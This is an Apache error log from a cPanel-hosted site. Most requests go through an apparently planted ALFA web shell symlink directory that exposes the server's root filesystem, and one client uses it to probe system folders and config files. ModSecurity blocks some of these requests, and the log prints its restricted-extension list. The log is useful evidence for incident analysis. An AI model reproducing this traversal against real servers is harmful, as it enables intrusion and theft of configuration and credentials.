[Sun Oct 25 14:27:30.890381 2026] [core:crit] [pid 2879819:tid 2879819] (13)Permission denied: [client 76.135.135.39:57962] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:27:31.099693 2026] [autoindex:error] [pid 2879779:tid 2879779] (13)Permission denied: [client 76.135.135.39:58021] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/apache/domlogs/
[Sun Oct 25 14:27:31.469378 2026] [autoindex:error] [pid 2879791:tid 2879791] (13)Permission denied: [client 76.135.135.39:58085] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/apache/logs/
[Sun Oct 25 14:27:31.599341 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:58131] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/kbd/consolefonts/"] [unique_id "at5KEyOJ5J2CO9rwTwq2CQAAAAA"]
[Sun Oct 25 14:27:31.599377 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:58131] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/kbd/consolefonts/"] [unique_id "at5KEyOJ5J2CO9rwTwq2CQAAAAA"]
[Sun Oct 25 14:27:32.169554 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:58243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/locale/en_AU/"] [unique_id "at5KFIptOg7YDpX4xSOWKQAAABA"]
[Sun Oct 25 14:27:32.169587 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:58243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/locale/en_AU/"] [unique_id "at5KFIptOg7YDpX4xSOWKQAAABA"]
[Sun Oct 25 14:27:34.290130 2026] [security2:error] [pid 2879785:tid 2879785] [client 76.135.135.39:58608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/python2.7/"] [unique_id "at5KFkdJXaoCGab64oygHQAAAAI"]
[Sun Oct 25 14:27:34.290160 2026] [security2:error] [pid 2879785:tid 2879785] [client 76.135.135.39:58608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/python2.7/"] [unique_id "at5KFkdJXaoCGab64oygHQAAAAI"]
[Sun Oct 25 14:27:34.631589 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:58715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/man/man8/"] [unique_id "at5KFsSJT0_jmTzdctlKiwAAAAo"]
[Sun Oct 25 14:27:34.631641 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:58715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/man/man8/"] [unique_id "at5KFsSJT0_jmTzdctlKiwAAAAo"]
[Sun Oct 25 14:27:34.945427 2026] [authz_core:error] [pid 2879841:tid 2879841] [client 76.135.135.39:58721] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/beta/PHPMailer/src/error_log
[Sun Oct 25 14:27:35.471298 2026] [autoindex:error] [pid 2879793:tid 2879793] (13)Permission denied: [client 76.135.135.39:58813] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/logs/
[Sun Oct 25 14:27:35.481604 2026] [core:crit] [pid 2879837:tid 2879837] (13)Permission denied: [client 76.135.135.39:58816] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/' is executable
[Sun Oct 25 14:27:35.986461 2026] [security2:error] [pid 2879792:tid 2879792] [client 76.135.135.39:58898] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/libexec/os-prober/"] [unique_id "at5KF3kfygQFctYcqNINaQAAAAk"]
[Sun Oct 25 14:27:35.986503 2026] [security2:error] [pid 2879792:tid 2879792] [client 76.135.135.39:58898] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/libexec/os-prober/"] [unique_id "at5KF3kfygQFctYcqNINaQAAAAk"]
[Sun Oct 25 14:27:42.599426 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:62933] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/share/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/share/polkit-1/rules.d/' is executable
[Sun Oct 25 14:27:44.736696 2026] [security2:error] [pid 2879821:tid 2879821] [client 76.135.135.39:63266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/terminfo/"] [unique_id "at5KIP8L-VNsDRBeIIWPRQAAABc"]
[Sun Oct 25 14:27:44.736730 2026] [security2:error] [pid 2879821:tid 2879821] [client 76.135.135.39:63266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/terminfo/"] [unique_id "at5KIP8L-VNsDRBeIIWPRQAAABc"]
[Sun Oct 25 14:27:45.470163 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:63619] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/HP/"] [unique_id "at5KISOJ5J2CO9rwTwq2LQAAAAA"]
[Sun Oct 25 14:27:45.470202 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:63619] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/HP/"] [unique_id "at5KISOJ5J2CO9rwTwq2LQAAAAA"]
[Sun Oct 25 14:27:48.274155 2026] [core:error] [pid 2879892:tid 2879892] (13)Permission denied: [client 85.208.96.204:28222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/poison
[Sun Oct 25 14:27:54.223188 2026] [ssl:error] [pid 2879792:tid 2879792] (70014)End of file found: [client 54.235.172.96:52913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:28:02.174337 2026] [ssl:error] [pid 2879930:tid 2879930] (5)Input/output error: [client 98.84.70.201:18829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:28:02.457714 2026] [authz_core:error] [pid 2879931:tid 2879931] [client 76.135.135.39:64714] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/betaok/PHPMailer/src/error_log
[Sun Oct 25 14:28:03.975129 2026] [core:crit] [pid 2879933:tid 2879933] (13)Permission denied: [client 76.135.135.39:64778] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lib64/mysql/plugin/auth_pam_tool_dir/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lib64/mysql/plugin/auth_pam_tool_dir/' is executable
[Sun Oct 25 14:28:06.069968 2026] [core:crit] [pid 2879933:tid 2879933] (13)Permission denied: [client 76.135.135.39:64903] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sun Oct 25 14:28:06.070491 2026] [core:crit] [pid 2879933:tid 2879933] (13)Permission denied: [client 76.135.135.39:64903] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:28:08.425552 2026] [authz_core:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64999] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sun Oct 25 14:28:08.989680 2026] [authz_core:error] [pid 2879934:tid 2879934] [client 76.135.135.39:65012] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Sun Oct 25 14:28:10.407162 2026] [core:error] [pid 2879951:tid 2879951] (13)Permission denied: [client 44.223.232.55:45018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/ec/bind
[Sun Oct 25 14:28:11.238058 2026] [core:crit] [pid 2879934:tid 2879934] (13)Permission denied: [client 76.135.135.39:65108] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/' is executable
[Sun Oct 25 14:28:11.359710 2026] [core:crit] [pid 2879934:tid 2879934] (13)Permission denied: [client 76.135.135.39:65108] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/' is executable
[Sun Oct 25 14:28:11.595846 2026] [core:crit] [pid 2879931:tid 2879931] (13)Permission denied: [client 76.135.135.39:65129] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/cpanel-plugins-6f5914c8f54db877/libdnf.1u5kds/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/cpanel-plugins-6f5914c8f54db877/libdnf.1u5kds/' is executable
[Sun Oct 25 14:28:12.807039 2026] [security2:error] [pid 2879791:tid 2879791] [client 76.135.135.39:65193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/cat8/"] [unique_id "at5KPPw4y1BYdJkQtCflOwAAAAg"]
[Sun Oct 25 14:28:12.807105 2026] [security2:error] [pid 2879791:tid 2879791] [client 76.135.135.39:65193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/cat8/"] [unique_id "at5KPPw4y1BYdJkQtCflOwAAAAg"]
[Sun Oct 25 14:28:14.206096 2026] [core:error] [pid 2879951:tid 2879951] (13)Permission denied: [client 52.2.191.202:49650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Sun Oct 25 14:28:15.608001 2026] [security2:error] [pid 2879959:tid 2879959] [client 76.135.135.39:65360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php53/"] [unique_id "at5KP0e8bn5jQuPESL2XLwAAABc"]
[Sun Oct 25 14:28:15.608055 2026] [security2:error] [pid 2879959:tid 2879959] [client 76.135.135.39:65360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php53/"] [unique_id "at5KP0e8bn5jQuPESL2XLwAAABc"]
[Sun Oct 25 14:28:16.584456 2026] [security2:error] [pid 2879949:tid 2879949] [client 76.135.135.39:65451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/ssl/bases4.sherwinpinturas.com/"] [unique_id "at5KQJ_kNzr93E4fBJ_mSQAAABI"]
[Sun Oct 25 14:28:16.584535 2026] [security2:error] [pid 2879949:tid 2879949] [client 76.135.135.39:65451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/ssl/bases4.sherwinpinturas.com/"] [unique_id "at5KQJ_kNzr93E4fBJ_mSQAAABI"]
[Sun Oct 25 14:28:18.331384 2026] [security2:error] [pid 2879951:tid 2879951] [client 76.135.135.39:49209] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/ssl/zacson1.sherwinpinturas.com/"] [unique_id "at5KQiGrZRxhYHUVaII6_gAAABQ"]
[Sun Oct 25 14:28:18.331424 2026] [security2:error] [pid 2879951:tid 2879951] [client 76.135.135.39:49209] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/ssl/zacson1.sherwinpinturas.com/"] [unique_id "at5KQiGrZRxhYHUVaII6_gAAABQ"]
[Sun Oct 25 14:28:18.501727 2026] [security2:error] [pid 2879779:tid 2879779] [client 76.135.135.39:49238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/beehive/php71/"] [unique_id "at5KQk8vJBi9DQrNMxzbxQAAAAE"]
[Sun Oct 25 14:28:18.501775 2026] [security2:error] [pid 2879779:tid 2879779] [client 76.135.135.39:49238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/beehive/php71/"] [unique_id "at5KQk8vJBi9DQrNMxzbxQAAAAE"]
[Sun Oct 25 14:28:24.692369 2026] [core:error] [pid 2879901:tid 2879901] (13)Permission denied: [client 185.191.171.13:10400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/ctor
[Sun Oct 25 14:28:28.603578 2026] [core:error] [pid 2879931:tid 2879931] (13)Permission denied: [client 85.208.96.200:57364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/ctor
[Sun Oct 25 14:28:30.176853 2026] [ssl:error] [pid 2879958:tid 2879958] (70014)End of file found: [client 100.25.120.246:49972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:28:30.669182 2026] [ssl:error] [pid 2879908:tid 2879908] (70014)End of file found: [client 85.208.96.207:53692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:22.208295 2026] [ssl:error] [pid 2879945:tid 2879945] (70014)End of file found: [client 18.215.24.66:20679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:24.832232 2026] [core:error] [pid 2879901:tid 2879901] (13)Permission denied: [client 185.191.171.13:32934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/store_user
[Sun Oct 25 14:29:26.173898 2026] [ssl:error] [pid 2879908:tid 2879908] (70014)End of file found: [client 18.208.11.93:20139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:37.403010 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52212] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5Kkb3kuBsxLRbAfYmohAAAAA4"]
[Sun Oct 25 14:29:37.403350 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5Kkb3kuBsxLRbAfYmohAAAAA4"]
[Sun Oct 25 14:29:37.403722 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5Kkb3kuBsxLRbAfYmohAAAAA4"]
[Sun Oct 25 14:29:37.455287 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec2.conf"] [unique_id "at5KkZKSFHHoiviJa5dqfgAAAAo"]
[Sun Oct 25 14:29:37.455292 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52223] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php.conf"] [unique_id "at5KkSEQblycZeXKbm74hgAAAAU"]
[Sun Oct 25 14:29:37.455539 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php.conf"] [unique_id "at5KkSEQblycZeXKbm74hgAAAAU"]
[Sun Oct 25 14:29:37.455544 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec2.conf"] [unique_id "at5KkZKSFHHoiviJa5dqfgAAAAo"]
[Sun Oct 25 14:29:37.455771 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php.conf"] [unique_id "at5KkSEQblycZeXKbm74hgAAAAU"]
[Sun Oct 25 14:29:37.455790 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec2.conf"] [unique_id "at5KkZKSFHHoiviJa5dqfgAAAAo"]
[Sun Oct 25 14:29:37.680413 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52233] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/autoindex.conf"] [unique_id "at5Kkb3kuBsxLRbAfYmohgAAAA4"]
[Sun Oct 25 14:29:37.680721 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/autoindex.conf"] [unique_id "at5Kkb3kuBsxLRbAfYmohgAAAA4"]
